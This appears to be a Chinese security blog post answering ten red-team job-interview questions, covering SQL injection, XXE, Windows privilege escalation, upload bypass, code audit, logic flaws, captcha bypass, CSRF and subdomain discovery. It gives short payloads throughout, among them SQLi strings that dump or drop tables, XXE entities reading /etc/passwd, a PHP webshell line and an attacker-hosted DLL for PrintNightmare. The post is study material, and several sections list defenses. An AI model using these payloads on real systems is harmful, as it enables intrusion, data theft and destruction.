安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
1. SQL注入原理
💥 2. XXE攻击(XML外部实体注入)
🧩 3. SQL注入分类
⚙️ 4. Windows提权方法
📁 5. 文件上传绕过技巧
🛡️ 6. 代码审计核心要点
🧠 7. 逻辑漏洞类型
🔓 8. 验证码绕过方法
🕸️ 9. CSRF原理
🌐 10. 无工具的子域名收集
2025年HW(护网面试) 14
1、sql注入原理 2、xxe 攻击 3、sql注入都有哪些 4、Windows怎么提权 5、文件上传绕过 6、代码审计 7、逻辑漏洞有哪些 8、验证码绕过有哪些方法 9、csrf原理 10、不用工具的情况下 如何搜集子域名
1. SQL注入原理
核心机制:攻击者通过篡改应用程序的SQL查询结构,使数据库执行恶意指令。
- 关键步骤:
- 输入注入点:用户输入未过滤(如登录框、搜索参数)。
- 查询拼接:
SELECT * FROM users WHERE id='
1' OR 1=1--
'
(永真条件绕过认证)。- 恶意负载:执行UNION查询、读写文件(如
UNION SELECT LOAD_FILE('/etc/passwd')
)。- 防护方案:参数化查询(Prepared Statements)、输入过滤正则(如
/[^a-z0-9]/i
)。
💥 2. XXE攻击(XML外部实体注入)
原理:恶意注入外部实体解析XML文档,触发敏感信息泄露或SSRF。
- 攻击场景:
- 文件读取:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
→引用&xxe;
- 内网探测:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">
- 防御:禁用DTD(
libxml_disable_entity_loader(true)
)、使用JSON替代XML。
🧩 3. SQL注入分类
类型 特点 案例 报错注入 利用数据库错误信息泄露数据 ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--
布尔盲注 根据页面真/假状态推断数据 ' AND SUBSTRING((SELECT user()),1,1)='a'--
时间盲注 通过延时响应判断条件成立 ' AND IF(1=1,SLEEP(5),0)--
UNION注入 合并恶意查询到原结果集 ' UNION SELECT username, password FROM users--
堆叠查询 执行多条SQL语句(需数据库支持) '; DROP TABLE users;--
⚙️ 4. Windows提权方法
- 系统漏洞提权:
- 利用未修补漏洞(如PrintNightmare):
CVE-2021-34527
执行\\攻击者IP\恶意dll
。- 工具:
MS14-058
(KiTrap0D)或CVE-2020-0787
(BITS服务漏洞)。- 服务配置滥用:
- 服务路径劫持:修改可写服务的执行路径指向恶意程序。
- AlwaysInstallElevated:利用组策略允许非管理员安装MSI(
msiexec /quiet /i cmd.msi
)。- 令牌模拟:
- Juicy Potato:利用COM对象提升至
NT AUTHORITY\SYSTEM
。- 数据库提权:MSSQL启用
xp_cmdshell
执行系统命令。
📁 5. 文件上传绕过技巧
绕过目标 手法 示例 扩展名过滤 大小写变异、双扩展名 shell.phP
、shell.php.jpg
Content-Type 伪造MIME类型 image/png
(实际为PHP文件)文件头伪造 添加图片魔数(如GIF89a) GIF89a<?php system($_GET['c']);?>
解析漏洞 服务器特性(如IIS6.0分号解析) shell.asp;.jpg
→ 执行ASP代码.htaccess覆盖 自定义解析规则 AddType application/x-httpd-php .abc
🛡️ 6. 代码审计核心要点
- 危险函数定位:
- 敏感操作:
eval()
、system()
、unserialize()
。- 文件操作:
include()
、fopen()
(未校验路径)。- 漏洞模式识别:
- SQL注入:拼接SQL语句(如
"SELECT * FROM users WHERE id=".$_GET['id']
)。- XSS:未过滤输出(如
echo $_GET['keyword']
)。- 框架安全机制:检查Laravel、Spring等框架的CSRF防护是否启用。
- 依赖组件风险:扫描已知漏洞库(如
retire.js
检测JavaScript漏洞)。
🧠 7. 逻辑漏洞类型
漏洞类型 原理 案例 越权访问 水平越权(改用户ID)、垂直越权(访问管理接口) 普通用户访问 /admin/deleteUser?id=100
业务顺序绕过 跳过关键步骤(如支付流程) 直接访问“支付成功”接口URL 条件竞争 并发请求资源分配冲突 同时发起多次充值请求造成余额错误 参数篡改 修改接口参数(如价格、数量) 订单支付时修改 amount=-100
🔓 8. 验证码绕过方法
- 技术型绕过:
- OCR识别:Tesseract破解简单图形验证码。
- 请求重放:重复使用同一验证码Token(如未服务端销毁)。
- 逻辑型绕过:
- 空值/万能码:提交
code=``或
code=000000`绕过。- 接口未校验:跳过验证码提交步骤直接发包。
- 自动化工具:
- Burp Intruder:暴力破解4位数字验证码。
- 打码平台:人工识别(如若快、联众)。
🕸️ 9. CSRF原理
攻击流程:
- 用户登录可信网站A(如银行),留存Cookie。
- 诱导访问恶意网站B,嵌入伪造请求:
html
<img src="http://bank.com/transfer?to=hacker&amount=10000" width="0">
- 浏览器自动携带Cookie发送请求,完成非授权操作。
防护方案:
- Token验证:请求中嵌入服务器颁发的随机Token。
- 同源策略:检查
Origin
或Referer
头。
🌐 10. 无工具的子域名收集
- 搜索引擎语法:
site:example.com
(Google/Bing)-site:www.example.com site:*.example.com
(排除主域)- SSL证书查询:
- 通过
crt.sh
搜索域名证书关联子域。- DNS历史记录:
- 访问
SecurityTrails
或ViewDNS.info
查询DNS变更。- 公开数据集:
- GitHub搜索
example.com
(开发者可能泄露测试域名)。- 被动DNS:
- 使用
RapidAPI
的DNSDB接口(免费配额)。